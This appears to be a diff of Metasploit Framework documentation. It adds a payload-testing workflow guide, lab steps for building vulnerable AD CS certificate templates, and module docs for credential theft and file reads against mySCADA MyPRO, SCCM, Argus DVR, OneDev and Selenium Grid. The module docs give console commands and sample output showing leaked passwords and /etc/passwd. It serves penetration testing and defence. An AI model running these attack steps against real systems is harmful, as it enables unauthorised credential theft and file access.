acceptance tests against those changes. This requires adding GitHub labels for each corresponding payload repository.
|
||||
The labels will contain the `payload-testing` prefix, each supporting testing for an external repository:
|
||||
- `payload-testing-branch` ([https://github.com/rapid7/metasploit-payloads/](https://github.com/rapid7/metasploit-payloads/))
|
||||
- `payload-testing-mettle-branch` ([https://github.com/rapid7/mettle/](https://github.com/rapid7/mettle/))
|
||||
|
||||
**_Note_**:
|
||||
|
||||
The long term aim is supporting workflow dispatches for this job, but that is currently not working as expected. So as a
|
||||
work-around we will need to edit the workflow locally. Once the testing has been completed ensure the following locally
|
||||
changes are reverted before merging.
|
||||
|
||||
Once the appropriate repository label is added, you will need to edit the GitHub workflow to point at the specific
|
||||
repository and branch you want to test. Below I will outline some changes that are required to make this work, update
|
||||
the following lines like so:
|
||||
|
||||
1. Point at your forked repository - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L189):
|
||||
```yaml
|
||||
repository: foo-r7/metasploit-framework
|
||||
```
|
||||
|
||||
2. Point at your forked repository branch - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L191):
|
||||
```yaml
|
||||
ref: fixes-all-the-bugs
|
||||
```
|
||||
|
||||
3. Point at your forked repository that contains the payload changes you'd like to test - update lines [45](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L45) and [250](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L250):
|
||||
```yaml
|
||||
repository: foo-r7/metasploit-payloads
|
||||
```
|
||||
|
||||
4. Point at your forked repository branch that contains the payload changes you'd like to test - update lines [47](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L47) and [252](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L252):
|
||||
```yaml
|
||||
ref: fixes-all-the-payload-bugs
|
||||
```
|
||||
|
||||
Steps 3 and 4 outline the steps required when steps testing metasploit-payloads. The same steps apply for Mettle, the
|
||||
following lines would need updated:
|
||||
- Point at your forked repository that contain the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L156).
|
||||
- Point at your forked repository branch that contains the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L158).
|
||||
+1
-1
@@ -892,7 +892,7 @@ In the following example the AUTO mode is used to issue a certificate for the MS
|
||||
authenticated.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(server/relay/esc8) > set RELAY_TARGETS 172.30.239.85
|
||||
msf6 auxiliary(server/relay/esc8) > set RHOSTS 172.30.239.85
|
||||
msf6 auxiliary(server/relay/esc8) > run
|
||||
[*] Auxiliary module running as background job 1.
|
||||
msf6 auxiliary(server/relay/esc8) >
|
||||
|
||||
@@ -856,6 +856,9 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
path: 'Loading-Test-Modules.md'
|
||||
},
|
||||
{
|
||||
path: 'Payload-Testing.md'
|
||||
},
|
||||
{
|
||||
path: 'Measuring-Metasploit-Performance.md'
|
||||
}
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
## Vulnerable Application
|
||||
|
||||
**Vulnerability Description**
|
||||
|
||||
This module exploits two vulnerabilities (CVE-2025-24865 & CVE-2025-22896) in mySCADA MyPRO Manager <= v1.3 to retrieve the configured
|
||||
credentials for the mail server.
|
||||
|
||||
The administrative web interface has certain features where credentials are required to be accessed, but the implementation is flawed,
|
||||
allowing to bypass the requirement. Other important administrative features do not require credentials at all, allowing an unauthenticated
|
||||
remote attacker to perform privileged actions. These issues are tracked through CVE-2025-24865.
|
||||
Another vulnerability, tracked through CVE-2025-22896, is related to the cleartext storage of various credentials by the application.
|
||||
|
||||
One way how these issues can be exploited is to allow an unauthenticated remote attacker to retrieve the cleartext credentials of the mail
|
||||
server that is configured by the product, which this module does.
|
||||
|
||||
Versions <= 1.3 are affected. CISA published [ICSA-25-044-16](https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-16) to cover
|
||||
the security issues.
|
||||
|
||||
**Vulnerable Application Installation**
|
||||
|
||||
A trial version of the software can be obtained from [the vendor](https://www.myscada.org/mypro/).
|
||||
|
||||
**Successfully tested on**
|
||||
|
||||
- mySCADA MyPRO Manager 1.3 on Windows 11 (22H2)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. After installation, reboot the system and wait some time until a runtime (e.g., 9.2.1) has been fetched and installed.
|
||||
3. Start `msfconsole` and run the following commands:
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/admin/scada/mypro_mgr_creds
|
||||
msf6 auxiliary(admin/scada/mypro_mgr_creds) > set RHOSTS <IP>
|
||||
msf6 auxiliary(admin/scada/mypro_mgr_creds) > run
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
|
||||
Running the module against MyPRO Manager v1.3 on Windows 11, should result in an output similar to the
|
||||
following:
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/scada/mypro_mgr_creds) > run
|
||||
[*] Running module against 192.168.1.78
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable.
|
||||
[+] Mail server credentials retrieved:
|
||||
[+] Host: smtp.example.com
|
||||
[+] Port: 993
|
||||
[+] Auth Type: login
|
||||
[+] User: user
|
||||
[+] Password: SuperS3cr3t!
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/scada/mypro_mgr_creds) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format cracked_password
|
||||
---- ------ ------- ------ ------- ----- ------------ ---------- ----------------
|
||||
192.168.1.78 192.168.1.78 34022/tcp (http) user SuperS3cr3t! Password
|
||||
```
|
||||
@@ -0,0 +1,150 @@
|
||||
## NAA Credential Exploitation
|
||||
|
||||
The NAA account is used by some SCCM configurations in the policy deployment process. It does not require many privileges, but
|
||||
in practice is often misconfigured to have excessive privileges.
|
||||
|
||||
The account can be retrieved in various ways, many requiring local administrative privileges on an existing host. However,
|
||||
it can also be requested by an existing computer account, which by default most user accounts are able to create.
|
||||
|
||||
|
||||
## Module usage
|
||||
The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions:
|
||||
|
||||
1. From msfconsole
|
||||
2. Do: `use auxiliary/admin/dcerpc/samr_account`
|
||||
3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
|
||||
a. For the `ADD_COMPUTER` action, if you don't specify `ACCOUNT_NAME` or `ACCOUNT_PASSWORD` - one will be generated automatically
|
||||
b. For the `DELETE_ACCOUNT` action, set the `ACCOUNT_NAME` option
|
||||
c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option
|
||||
4. Run the module and see that a new machine account was added
|
||||
|
||||
Then the `auxiliary/admin/sccm/get_naa_credentials` module can be used:
|
||||
|
||||
1. `use auxiliary/admin/sccm/get_naa_credentials`
|
||||
2. Set the `RHOST` value to a target domain controller (if LDAP autodiscovery is used)
|
||||
3. Set the `USERNAME` and `PASSWORD` information to a domain account
|
||||
4. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module
|
||||
5. Run the module to obtain the NAA credentials, if present.
|
||||
|
||||
Alternatively, if the Management Point and Site Code are known, the module can be used without autodiscovery:
|
||||
|
||||
1. `use auxiliary/admin/sccm/get_naa_credentials`
|
||||
2. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module
|
||||
3. Set the `MANAGEMENT_POINT` and `SITE_CODE` to the known values.
|
||||
4. Run the module to obtain the NAA credentials, if present.
|
||||
|
||||
The management point and site code can be retrieved using the `auxiliary/gather/ldap_query` module, using the `ENUM_SCCM_MANAGEMENT_POINTS` action.
|
||||
|
||||
See the Scenarios for a more detailed walk through
|
||||
|
||||
## Options
|
||||
|
||||
### RHOST, USERNAME, PASSWORD, DOMAIN, SESSION, RHOST
|
||||
Options used to authenticate to the Domain Controller's LDAP service for SCCM autodiscovery.
|
||||
|
||||
### COMPUTER_USER, COMPUTER_PASSWORD
|
||||
|
||||
Credentials for a computer account (may be created with the `samr_account` module). If you've retrieved the NTLM hash of
|
||||
a computer account, you can use that for COMPUTER_PASSWORD.
|
||||
|
||||
### MANAGEMENT_POINT
|
||||
The SCCM server.
|
||||
|
||||
### SITE_CODE
|
||||
The Site Code of the management point.
|
||||
|
||||
## Scenarios
|
||||
In the following example the user `ssccm.lab\eve` is a low-privilege user.
|
||||
|
||||
### Creating computer account
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > run rhost=192.168.33.10 domain=sccm.lab username=eve password=iloveyou
|
||||
[*] Running module against 192.168.33.10
|
||||
|
||||
[*] 192.168.33.10:445 - Adding computer
|
||||
[+] 192.168.33.10:445 - Successfully created sccm.lab\DESKTOP-2KVDWNZ3$
|
||||
[+] 192.168.33.10:445 - Password: pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj
|
||||
[+] 192.168.33.10:445 - SID: S-1-5-21-3875312677-2561575051-1173664991-1128
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Running with Autodiscovery
|
||||
Using the credentials just obtained with the `samr_account` module.
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/sccm/get_naa_credentials) > options
|
||||
|
||||
Module options (auxiliary/admin/sccm/get_naa_credentials):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COMPUTER_PASS yes The password of the provided computer account
|
||||
COMPUTER_USER yes The username of a computer account
|
||||
MANAGEMENT_POINT no The management point (SCCM server) to use
|
||||
SITE_CODE no The site code to use on the management point
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Used when connecting via an existing SESSION:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION 1 no The session to run this module on
|
||||
|
||||
|
||||
Used when making a new connection via RHOSTS:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DOMAIN no The domain to authenticate to
|
||||
PASSWORD no The password to authenticate with
|
||||
RHOSTS no The domain controller (for autodiscovery). Not required if providing a management point and site code
|
||||
RPORT 389 no The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code (TCP)
|
||||
USERNAME no The username to authenticate with
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
msf6 auxiliary(admin/sccm/get_naa_credentials) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj
|
||||
[*] Running module against 192.168.33.10
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab
|
||||
[+] Found Management Point: MECM.sccm.lab (Site code: P01)
|
||||
[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E
|
||||
[*] Waiting 5 seconds for SCCM DB to update...
|
||||
[*] Got NAA Policy URL: http://<mp>/SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00
|
||||
[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Manual discovery
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_query) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou
|
||||
[*] Running module against 192.168.33.10
|
||||
|
||||
[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab
|
||||
CN=SMS-MP-P01-MECM.SCCM.LAB,CN=System Management,CN=System,DC=sccm,DC=lab
|
||||
=========================================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
cn SMS-MP-P01-MECM.SCCM.LAB
|
||||
dnshostname MECM.sccm.lab
|
||||
mssmssitecode P01
|
||||
|
||||
[*] Query returned 1 result.
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf6 auxiliary(gather/ldap_query) > use auxiliary/admin/sccm/get_naa_credentials
|
||||
|
||||
msf6 auxiliary(admin/sccm/get_naa_credentials) > run computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj management_point=MECM.sccm.lab site_code=P01
|
||||
|
||||
[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E
|
||||
[*] Waiting 5 seconds for SCCM DB to update...
|
||||
[*] Got NAA Policy URL: http://<mp>/SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00
|
||||
[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,46 @@
|
||||
## Vulnerable Application
|
||||
This module leverages an issue with how the `RESULTPAGE` parameter within `WEBACCCOUNT.cgi` handles file referencing and as a result is vulnerable to Local File Inclusion (LFI).
|
||||
|
||||
## Options
|
||||
To successfully read contents of the Windows file system you must set the full file path of the file you want to check using `TARGET_FILE` (not including the drive letter prefix).
|
||||
As a first run it is recommended to try leaking `Windows/system.ini` as a validation exercise on your first module run.
|
||||
|
||||
## Testing
|
||||
To setup a test environment, the following steps can be performed:
|
||||
1. Set up a Windows operating system (any OS that has C:\Windows\system.ini)
|
||||
2. Download the [Argus DVR 4 Software](https://download.cnet.com/argus-surveillance-dvr/3000-2348_4-10576796.html)
|
||||
3. Run the Argus software and a webpage running on port 8080 will appear. Take note of the machine's IP
|
||||
4. On your attacker machine follow the verification steps below.
|
||||
|
||||
## Verification Steps
|
||||
1. start msfconsole
|
||||
2. `use auxiliary/gather/argus_dvr4_lfi_cve_2018_15745`
|
||||
3. `set RHOSTS <TARGET_IP_ADDRESS>`
|
||||
4. `set TARGET_FILE Windows/system.ini`
|
||||
5. `run`
|
||||
|
||||
## Scenarios
|
||||
### Utilising Argus DVR 4 CVE-2018-15745 to Leak DVRParams.ini
|
||||
```
|
||||
msf6 > use auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745
|
||||
msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > set RHOSTS 192.168.1.15
|
||||
RHOSTS => 192.168.1.15
|
||||
msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > set TARGET_FILE ProgramData/PY_Software/Argus Surveillance DVR/DVRParams.ini
|
||||
TARGET_FILE => ProgramData/PY_Software/Argus Surveillance DVR/DVRParams.ini
|
||||
msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > run
|
||||
[*] Running module against 192.168.1.15
|
||||
[*] Sending request to 192.168.1.15:8080 for file: ProgramData/PY_Software/Argus%20Surveillance%20DVR/DVRParams.ini
|
||||
[+] File retrieved successfully!
|
||||
[Main]
|
||||
ServerName=
|
||||
ServerLocation=
|
||||
ServerDescription=
|
||||
ReadH=0
|
||||
UseDialUp=0
|
||||
DialUpConName=
|
||||
DialUpDisconnectWhenDone=0
|
||||
DIALUPUSEDEFAULTS" checked checked
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
||||
@@ -79,6 +79,58 @@ a normal user account by analyzing the objects in LDAP.
|
||||
1. Scroll down and select the `ESC3-Template2` certificate, and select `OK`.
|
||||
1. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
### Setting up a ESC4 Vulnerable Certificate Template
|
||||
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC4-Template`, then click `Apply`.
|
||||
1. Go to the `Security` tab.
|
||||
1. Under `Groups or usernames` select `Authenticated Users`
|
||||
1. Under `Permissions for Authenticated Users` select `Write` -> `Allow`.
|
||||
1. Click `Apply` and then click `OK` to issue the certificate.
|
||||
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder.
|
||||
1. Click `New` followed by `Certificate Template to Issue`.
|
||||
1. Scroll down and select the `ESC3-Template2` certificate, and select `OK`.
|
||||
1. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
### Setting up a ESC13 Vulnerable Certificate Template
|
||||
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC13`, then click `Apply`.
|
||||
1. Go to the `Extensions` tab, click the Issuance Policies entry, click the `Add` button, click the `New...` button.
|
||||
1. Name the new issuance policy `ESC13-Issuance-Policy`.
|
||||
4. Copy the Object Identifier as this will be needed later (ex: 11.3.6.1.4.1.311.21.8.12682474.6065318.6963902.6406785.3291287.83.1172775.12545198`).
|
||||
1. Leave the CPS location field blank.
|
||||
1. Click `Apply`.
|
||||
1. Open Active Directory Users and Computers, expand the domain on the left hand side.
|
||||
1. Right click `Users` and navigate to New -> Group.
|
||||
1. Enter `ESC13-Group` for the Group Name.
|
||||
1. Select `Universal` for Group scope and `Security` for Group type.
|
||||
1. Click `Apply`.
|
||||
1. Open ADSI Edit.
|
||||
1. In the left hand side right click `ADSI Edit` and select `Connect to...`.
|
||||
1. Under `Select a well known naming context` select `Default naming context`.
|
||||
1. Select the newly established connection, select the domain, select `CN=User`.
|
||||
1. On the right hand side find the recently created security group `CN=ESC13-Group`, right click select properties.
|
||||
1. Copy the value of the `distinguishedName` attribute, save this as we'll need it later.
|
||||
1. Back on the left hand side establish another connection, right click `ADSI Edit` and select `Connect to...`.
|
||||
1. This time under `Select a well known naming context` select `Configuration`.
|
||||
1. Select the newly established connection, select the domain, select `CN=Services` -> `CN=Public Key Services` -> `CN=OID`.
|
||||
1. In the right hand side find the object that corresponds to the Object Identifier saved earlier.
|
||||
1. The OID saved earlier ended in `12545198`, the object on the right will start with `CN=12545198.` followed by 34 hex characters. ex: `CN=12545198.7BCA239924D9515E63EA6B6F00748837`).
|
||||
1. Once located right click -> properties, select `msDS-OIDToGroupLink`.
|
||||
1. Paste the `distingushedName` of the security group saved above (ex: `CN=ESC13-Group,CN=Users,DC=demo,DC=lab`).
|
||||
1. Click `Apply`.
|
||||
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder.
|
||||
1. Click `New` followed by `Certificate Template to Issue`.
|
||||
1. Scroll down and select the `ESC13-Template` certificate, and select `OK`.
|
||||
1. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
### Setting up a ESC15 Vulnerable Certificate Template
|
||||
1. ESC15 depends on the schema version of the template being version 1 - which can no longer be created so we will edit an existing template that is schema version 1.
|
||||
1. Right click the `WebServer` template, select properties.
|
||||
1. Go to the Security Tab.
|
||||
1. Under `Groups or usernames` select `Authenticated Users`.
|
||||
1. Under `Permissions for Authenticated Users` select `Enroll` -> `Allow`.
|
||||
1. Click Apply.
|
||||
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder and ensure `WebServer` is listed, if it's not, add it.
|
||||
1. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
## Module usage
|
||||
|
||||
1. Do: Start msfconsole
|
||||
|
||||
@@ -0,0 +1,135 @@
|
||||
## Vulnerable Application
|
||||
|
||||
OneDev is a Git Server with CI/CD, kanban, and packages.
|
||||
This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8.
|
||||
This vulnerability arises due to the lack of user-input sanitization of path traversal sequences `..` in the `ProjectBlobPage.java` file.
|
||||
|
||||
To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor
|
||||
can view existing projects without authentication.
|
||||
However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach.
|
||||
By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability.
|
||||
|
||||
## Installation
|
||||
|
||||
OneDev provides docker images for a quick setup process.
|
||||
A vulnerable version (`v11.0.8`) can be found [here](https://hub.docker.com/r/1dev/server/tags?name=11.0.8).
|
||||
|
||||
Installation instructions can be found [here](https://docs.onedev.io/).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the OneDev application
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/gather/onedev_arbitrary_file_read`
|
||||
4. Set the `RHOSTS` and `RPORT` options as necessary
|
||||
5. Set the `TARGETFILE` option with the absolute path of the target file to read
|
||||
|
||||
If a valid project name is known:
|
||||
|
||||
6. Set the `PROJECT_NAME` option with the known project name
|
||||
7. Do: `run`
|
||||
8. If the file exists, the contents will be displayed to the user
|
||||
|
||||
If there is no information about existing projects:
|
||||
|
||||
6. Set the `PROJECT_NAMES_FILE` option with the absolute path of a wordlist that contains multiple possible values for a valid project name
|
||||
7. Do: `run`
|
||||
8. If a valid project name is found, the target file contents will be displayed to the user
|
||||
|
||||
## Options
|
||||
|
||||
### PROJECT_NAME
|
||||
A valid OneDev project name is required to exploit the vulnerability. If anonymous access is enabled on the OneDev server,
|
||||
any visitor can see the existing projects, and collect a valid project name. On the other hand, if anonymous access is disabled,
|
||||
the user needs to have previous knowledge of a valid project name or use the `PROJECT_NAMES_FILE` option to find one through brute force.
|
||||
|
||||
### PROJECT_NAMES_FILE
|
||||
Absolute path of a wordlist containing multiple possible values for valid project names. Once this option is set,
|
||||
the module will verify whether a given project exists for each word.
|
||||
|
||||
|
||||
### TARGETFILE
|
||||
Absolute file path of the target file to be retrieved from the OneDev server. Set as `/etc/passwd` by default.
|
||||
|
||||
### STORE_LOOT
|
||||
If set as `true`, the target file contents will be stored as loot. Set as `false` by default.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Example: Known project name or anonymous access enabled on OneDev 11.0.8
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10
|
||||
RHOSTS => 192.168.1.10
|
||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610
|
||||
RPORT => 6610
|
||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAME myproject
|
||||
PROJECT_NAME => myproject
|
||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > run
|
||||
[*] Running module against 192.168.1.10
|
||||
|
||||
[+] Target file retrieved with success
|
||||
[*] root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
|
||||
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
||||
|
||||
### Example: Unknown projects with anonymous access disabled on OneDev 11.0.8
|
||||
```
|
||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10
|
||||
RHOSTS => 192.168.1.10
|
||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610
|
||||
RPORT => 6610
|
||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAMES_FILE /home/server/wordlist.txt
|
||||
PROJECT_NAMES_FILE => /home/server/wordlist.txt
|
||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > run
|
||||
[*] Running module against 192.168.1.10
|
||||
|
||||
[*] Brute forcing valid project name ...
|
||||
[+] 192.168.1.10:6610 - Found valid OneDev project name: myproject
|
||||
[+] Target file retrieved with success
|
||||
[*] root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
|
||||
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
||||
@@ -0,0 +1,299 @@
|
||||
## Vulnerable Application
|
||||
|
||||
If there is an open selenium web driver, a remote attacker can send requests to the victims browser.
|
||||
In certain cases this can be used to access to the remote file system.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* all version of open Selenium Server (Grid)
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
|
||||
* selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
|
||||
* selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
|
||||
* selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
|
||||
* selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04
|
||||
* selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. `docker pull selenium/standalone-firefox:3.141.59`
|
||||
|
||||
2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-firefox:3.141.59`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/gather/selenium_file_read`
|
||||
4. Do: `run rhost=<rhost>`
|
||||
5. You should get a file content
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### SCHEME (Required)
|
||||
|
||||
This is the scheme to use. Default is `file`.
|
||||
|
||||
### FILEPATH (Required)
|
||||
|
||||
This is the file to read. Default is `/etc/passwd`.
|
||||
|
||||
### BROWSER (Required)
|
||||
|
||||
This is the browser to use. Default is `firefox`.
|
||||
|
||||
### TIMEOUT (required)
|
||||
|
||||
This is the amount of time (in seconds) that the module will wait for the payload to be
|
||||
executed. Defaults to 75 seconds.
|
||||
|
||||
|
||||
## Scenarios
|
||||
### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 > use auxiliary/gather/selenium_file_read
|
||||
msf6 auxiliary(gather/selenium_file_read) > options
|
||||
|
||||
Module options (auxiliary/gather/selenium_file_read):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BROWSER firefox yes The browser to use (Accepted: firefox, chrome, MicrosoftEdge)
|
||||
FILEPATH /etc/passwd yes File to read
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 4444 yes The target port (TCP)
|
||||
SCHEME file yes The scheme to use
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TIMEOUT 75 yes Timeout for exploit (seconds)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4445
|
||||
[*] Running module against 192.168.56.16
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 3.141.59 detected
|
||||
[*] Started session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14).
|
||||
[+] /etc/passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
